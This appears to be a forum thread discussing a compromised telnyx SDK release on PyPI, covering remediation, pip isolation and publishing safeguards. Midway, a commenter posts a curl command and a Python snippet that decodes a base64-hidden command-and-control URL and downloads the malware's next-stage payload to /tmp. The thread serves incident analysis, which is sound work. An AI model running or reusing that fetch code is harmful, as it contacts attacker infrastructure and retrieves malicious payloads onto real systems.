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> If the version shown is 4.87.1 or 4.87.2, treat the environment as compromised.

More generally speaking one would have to treat the computer/container/VM as compromised. User-level malware still sucks. We've seen just the other day that Python code can run at startup time with .pth files (and probably many other ways). With a source distribution, it can run at install time, too (see e.g. https://zahlman.github.io/posts/python-packaging-3/).

> What to Do If Affected

> Downgrade immediately:

> pip install telnyx==4.87.0

Even if only the "environment" were compromised, that includes pip in the standard workflow. You can use an external copy of pip instead, via the `--python` option (and also avoid duplicating pip in each venv, wasting 10-15MB each time, by passing `--without-pip` at creation). I touch on both of these in https://zahlman.github.io/posts/python-packaging-2/ (specifically, showing how to do it with Pipx's vendored copy of pip). Note that `--python` is a hack that re-launches pip using the target environment; pip won't try to import things from that environment, but you'd still be exposed to .pth file risks.

We haven't blogged this yet, but a variety of teams found this in parallel.

The packages are quarantined by PyPi

Follow the overall incident: https://ramimac.me/teampcp/#phase-10

Aikido/Charlie with a very quick blog: https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...

ReversingLabs, JFrog also made parallel reports

So both this and litellm went straight to PyPI without going to GitHub first.

Is there any way to setup PyPI to only publish packages that come from a certain pattern of tag that exists in GH? Would such a measure help at all here?

How can we get the wav ? `curl -A "Mozilla/5.0" "http://<C2C_EndPoint>/hangup.wav"` does hang.

No ... I tried hard. But still get a timeout.

    import urllib.request
    import base64

    def _d(x):
        return base64.b64decode(x).decode("utf-8")


    C2C_URL = _d("aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==")
    # C2C_URL = "http://XXXXX:8080/ringtone.wav"

    r = urllib.request.Request(
        C2C_URL, headers={_d("VXNlci1BZ2VudA=="): _d("TW96aWxsYS81LjA=")}
    )
    with urllib.request.urlopen(r, timeout=15) as d:
        with open("/tmp/exatracted_tpcp.wav", "wb") as f:
            f.write(d.read())

> The Telnyx platform, APIs, and infrastructure were not compromised. This incident was limited to the PyPI distribution channel for the Python SDK.

Am I being too nitpicky to say that that is part of your infrastructure?

Doesn't 2FA stop this attack in its tracks? PyPI supports 2FA, no?

Wonder if publishing keys were compromised in one of the previous PyPI incidents...

I received an email from them about the vulnerability but I don't remember ever using them

Is there anyone who uses it? I see their repo's Initial Commit was on Jan 2026... quite a new package! Also, the number of GitHub stars and forks is quite low.

Does the package have a user base, or did the malicious team target one of the many useless GitHub repos?

The Guix PM in this context can create an isolated environment and import PyPI packages for you adapted into Guix Scheme manifest files. Not just Python, Perl, Ruby, Node... if you have to use dangerous our propietary environments for the enterprise, (not for personal computing), at least isolate them so the malware doesn't spread over.